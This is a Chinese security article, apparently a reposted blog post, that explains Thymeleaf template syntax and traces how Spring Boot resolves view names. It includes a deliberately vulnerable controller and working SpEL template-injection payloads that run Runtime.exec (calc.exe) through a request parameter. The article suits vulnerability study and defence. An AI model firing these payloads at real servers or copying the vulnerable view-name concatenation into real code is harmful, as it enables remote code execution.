SSTI-Thymeleaf模板注入漏洞
一、Thymeleaf 简介
Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。
Thymeleaf 通过在 html 标签中,增加额外属性来达到“模板+数据”的展示方式,示例代码如下:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<!--th:text 为 Thymeleaf 属性,用于在展示文本-->
<h1 th:text="迎您来到Thymeleaf">欢迎您访问静态页面 HTML</h1>
</body>
</html>
Thymeleaf 模板引擎具有以下特点:
-
动静结合:Thymeleaf 既可以直接使用浏览器打开,查看页面的静态效果,也可以通过 Web 应用程序进行访问,查看动态页面效果。 -
开箱即用:Thymeleaf 提供了 Spring 标准方言以及一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。 -
多方言支持:它提供了 Thymeleaf 标准和 Spring 标准两种方言,可以直接套用模板实现 JSTL、 OGNL 表达式;必要时,开发人员也可以扩展和创建自定义的方言。 -
与 SpringBoot 完美整合:SpringBoot 为 Thymeleaf 提供了的默认配置,并且还为 Thymeleaf 设置了视图解析器,因此 Thymeleaf 可以与 Spring Boot 完美整合。
二、Thymeleaf 语法
1、声明名称空间
在 html 标签中声明此名称空间,可避免编辑器出现 html 验证错误,但这一步并非必须进行的,即使我们不声明该命名空间,也不影响 Thymeleaf 的使用。
xmlns:th="http://www.thymeleaf.org"
2、标签
标签 | 作用 | 示例 |
---|---|---|
th:id | 替换id | <input th:id="${user.id}"/> |
th:text | 文本替换 | <p text:="${user.name}">bigsai</p> |
th:utext | 支持html的文本替换 | <p utext:="${htmlcontent}">content</p> |
th:object | 替换对象 | <div th:object="${user}"></div> |
th:value | 替换值 | <input th:value="${user.name}" > |
th:each | 迭代 | <tr th:each="student:${user}" > |
th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
3、变量表达式
使用 ${} 包裹的表达式被称为变量表达式,该表达式具有以下功能:
-
获取对象的属性和方法 -
使用内置的基本对象 -
使用内置的工具对象
① 获取对象的属性和方法
使用变量表达式可以获取对象的属性和方法,例如,获取 person 对象的 lastName 属性,表达式形式如下:
${person.lastName}
② 使用内置的基本对象
使用变量表达式还可以使用内置基本对象,获取内置对象的属性,调用内置对象的方法。 Thymeleaf 中常用的内置基本对象如下:
-
#ctx :上下文对象; -
#vars :上下文变量; -
#locale:上下文的语言环境; -
#request:HttpServletRequest 对象(仅在 Web 应用中可用); -
#response:HttpServletResponse 对象(仅在 Web 应用中可用); -
#session:HttpSession 对象(仅在 Web 应用中可用); -
#servletContext:ServletContext 对象(仅在 Web 应用中可用)。
例如,我们通过以下 2 种形式,都可以获取到 session 对象中的 map 属性:
${#session.getAttribute('map')}
${session.map}
③ 使用内置的工具对象
除了能使用内置的基本对象外,变量表达式还可以使用一些内置的工具对象。
-
strings:字符串工具对象,常用方法有:equals、equalsIgnoreCase、length、trim、toUpperCase、toLowerCase、indexOf、substring、replace、startsWith、endsWith,contains 和 containsIgnoreCase 等; -
numbers:数字工具对象,常用的方法有:formatDecimal 等; -
bools:布尔工具对象,常用的方法有:isTrue 和 isFalse 等; -
arrays:数组工具对象,常用的方法有:toArray、length、isEmpty、contains 和 containsAll 等; -
lists/sets:List/Set 集合工具对象,常用的方法有:toList、size、isEmpty、contains、containsAll 和 sort 等; -
maps:Map 集合工具对象,常用的方法有:size、isEmpty、containsKey 和 containsValue 等; -
dates:日期工具对象,常用的方法有:format、year、month、hour 和 createNow 等。
4、 选择变量表达式
选择变量表达式与变量表达式功能基本一致,只是在变量表达式的基础上增加了与 th:object 的配合使用。当使用 th:object 存储一个对象后,我们可以在其后代中使用选择变量表达式(*{...})获取该对象中的属性,其中,“*”即代表该对象。
<div th:object="${session.user}" >
<p th:text="*{fisrtName}">firstname</p>
</div>
5、链接表达式
不管是静态资源的引用,还是 form 表单的请求,凡是链接都可以用链接表达式 (@{...})。
链接表达式的形式结构如下:
-
无参请求:@{/xxx} -
有参请求:@{/xxx(k1=v1,k2=v2)}
例如使用链接表达式引入 css 样式表,代码如下:
<link href="asserts/css/signin.css" th:href="@{/asserts/css/signin.css}" rel="stylesheet">
6、 国际化表达式
消息表达式一般用于国际化的场景。结构如下:
th:text="#{msg}"
7、 片段引用表达式
片段表达式~{}可以用来引用一段公共的 HTML 代码片段。
语法 | 描述 |
---|---|
~{templatename} | 引用整个模板文件的代码片段 |
~{templatename :: selector} | selector 可以是 th:fragment 指定的名称或其他选择器。 如类选择器、ID选择器等 |
~{::selector} | 相当于 ~{this :: selector},表示引用当前模板定义的代码片段 |
在 Thymeleaf 模板文件中,你可以使用th:fragment属性来定义一段公共的代码片段,然后你可以通过使用th:insert、th:replace、th:include(Thymeleaf 3.0 开始不再推荐使用,本文也将不再介绍它)属性来将这些公共的代码片段引入到模板文件中来。
src/main/resources/templates/base.html,通过th:fragment属性定义一段公共的代码片段:
<div id="footer" th:fragment="footerFragment">© 2017 fanlychie</div>
src/main/resources/templates/index.html,通过th:insert属性引用一段公共的代码片段:
<div th:insert="~{base :: footerFragment}"></div>
其中,~{}是可选的,我们可以去掉这层的包裹:
<div th:insert="base :: footerFragment"></div>
若 index.html 与 base.html 不在同级目录,如 templates/commons/base.html:
<div th:insert="~{commons/base :: footerFragment}"></div>
使用th:fragment属性定义代码片段时,你还可以声明一组参数:
<div th:fragment="crumbs(parent, child)"> <i th:text="${parent}"></i> <i th:text="${child}"></i> </div> <!-- <i>用户中心</i> <i>我的订单</i> --> <div th:insert="::crumbs('用户中心', '我的订单')"></div>
此外,我们还可以通过类选择器、ID选择器等来引用公共的代码片段:
<div th:insert="~{base :: #footer}"></div>
除了th:insert属性th:replace也可以用来引用公共的代码片段。不同的是,th:insert是直接将代码片段插入到标签体内,而th:replace则是用代码片段直接替换标签体内容。
<!-- <div> <div id="footer">© 2017 fanlychie</div> </div> --> <div th:insert="~{base :: footerFragment}"></div> <!-- <div id="footer">© 2017 fanlychie</div> --> <div th:replace="~{base :: footerFragment}"></div>
8、Springboot 配置内容
# THYMELEAF (ThymeleafAutoConfiguration)
spring.thymeleaf.cache=true # Whether to enable template caching.
spring.thymeleaf.check-template=true # Whether to check that the template exists before rendering it.
spring.thymeleaf.check-template-location=true # Whether to check that the templates location exists.
spring.thymeleaf.enabled=true # Whether to enable Thymeleaf view resolution for Web frameworks.
spring.thymeleaf.enable-spring-el-compiler=false # Enable the SpringEL compiler in SpringEL expressions.
spring.thymeleaf.encoding=UTF-8 # Template files encoding.
spring.thymeleaf.excluded-view-names= # Comma-separated list of view names (patterns allowed) that should be excluded from resolution.
spring.thymeleaf.mode=HTML # Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
spring.thymeleaf.prefix=classpath:/templates/ # Prefix that gets prepended to view names when building a URL.
spring.thymeleaf.reactive.chunked-mode-view-names= # Comma-separated list of view names (patterns allowed) that should be the only ones executed in CHUNKED mode when a max chunk size is set.
spring.thymeleaf.reactive.full-mode-view-names= # Comma-separated list of view names (patterns allowed) that should be executed in FULL mode even if a max chunk size is set.
spring.thymeleaf.reactive.max-chunk-size=0 # Maximum size of data buffers used for writing to the response, in bytes.
spring.thymeleaf.reactive.media-types= # Media types supported by the view technology.
spring.thymeleaf.servlet.content-type=text/html # Content-Type value written to HTTP responses.
spring.thymeleaf.suffix=.html # Suffix that gets appended to view names when building a URL.
spring.thymeleaf.template-resolver-order= # Order of the template resolver in the chain.
spring.thymeleaf.view-names= # Comma-separated list of view names (patterns allowed) that can be resolved.
三、Thymeleaf 模板注入漏洞
1、创建 demo
创建spring boot 项目,模板选择Thymeleaf
添加application.properties 配置
spring.thymeleaf.cache=false
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
编写模板文件 index.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello word
<div th:text="${name}"></div>
</body>
</html>
编写 controller
package com.example.thymeleaf.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
@Controller
public class IndexController {
@GetMapping("/index")//页面的url地址
public String index(Model model){
model.addAttribute("name","baigei");
return "index";
}
}
启动Spring boot 成功访问
2、调用过程(spring boot 2.4.1)
Spring boot 所有http请求均调用org.springframework.web.servlet.FrameworkServlet#service()方法进行处理,调用super.service()进行处理
调用至javax.servlet.http.HttpServlet#service()
调用至javax.servlet.http.HttpServlet#doget() -->
org.springframework.web.servlet.FrameworkServlet#processRequest() -->
org.springframework.web.servlet.DispatcherServlet#doService() --> org.springframework.web.servlet.DispatcherServlet #doDispatch() -->
doDispatch() 方法中,重点为下面3个方法
1、ha.handle() ,获取ModelAndView也就是Controller中的return值
2、applyDefaultViewName(),对当前 ModelAndView 做判断,如果为null则进入 defalutViewName 部分处理,将URI path作为 mav 的值
3、processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理
跟进 ha.handle() ,调用至org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handleInternal()
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handleInternal() 使用Handler处理request并获取ModelAndView
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#invokeHandlerMethod()
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle() 调用 invokeForRequest() 方法,根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户。若 returnValue 值为不空则返回值
上面Controller中return的字符串并根据前缀和后缀拼接起来,默认在templates目录下寻找模版文件(可通过spring.thymeleaf.prefix=classpath:/templates/
配置修改)
跟进applyDefaultViewName(),若 ModelAndView 值不为 null 且 defaultViewName 不为空,即以 URI path 作为视图名称
org.springframework.web.servle.DispatcherServlet#applyDefaultViewName()
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
if (mv != null && !mv.hasView()) {
String defaultViewName = this.getDefaultViewName(request);
if (defaultViewName != null) {
mv.setViewName(defaultViewName);
}
}
}
org.springframework.web.servle.DispatcherServlet#getDefaultViewName()
跟进 org.springframework.web.servlet.DispatcherServlet #processDispatchResult()
org.springframework.web.servlet.DispatcherServlet#render()
org.thymeleaf.spring5.view.ThymeleafView#render()
org.thymeleaf.spring5.view.ThymeleafView#renderFragment()
protected void renderFragment(final Set<String> markupSelectorsToRender, final Map<String, ?> model, final HttpServletRequest request,
final HttpServletResponse response)
throws Exception {
...
final String templateName;
final Set<String> markupSelectors;
//
if (!viewTemplateName.contains("::")) {
// No fragment specified at the template name
templateName = viewTemplateName;
markupSelectors = null;
//viewTemplateName 中存在 :: 进入 else
//如果包含::则代表是一个片段表达式,则需要解析 templateName 和 markupSelector
} else {
// Template name contains a fragment name, so we should parse it as such
final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
//调用 parseExpression() 解析 context, "~{" + viewTemplateName + "}"
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
...
}
IndexController 中 viewTempalteName 中不含 :: ,编写存在漏洞 controller SSTIController,代码如下:
package com.example.thymeleaf.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class SSTIController {
@RequestMapping("/ssti")
public String ssti(String path){
return "ssti" + path;
}
}
访问ssti?path=${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}::.x),debug 至 org.thymeleaf.spring5.view.ThymeleafView#renderFragment() 调用至org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression()
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression()
StandardExpressionPreprocessor#preprocess()
private static final char PREPROCESS_DELIMITER = '_';
private static final String PREPROCESS_EVAL = "\_\_(.*?)\_\_";
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\_\_(.*?)\_\_", 32);
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
// 通过正则获取 "__xxxx__" 中的 xxxx 部分
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
String remaining;
do {
// 获取 "__xxxx__" 中的 xxxx 部分
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
// SpEL 表达式注入
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
}
}
}
3、漏洞利用
3.1、templatename
controller
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class SSTIController {
@RequestMapping("/ssti")
public String ssti(String path){
return "ssti" + path + "test";
}
}
payload
ssti?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()%7d__::
原文始发于微信公众号(白给信安):SSTI-Thymeleaf模板注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论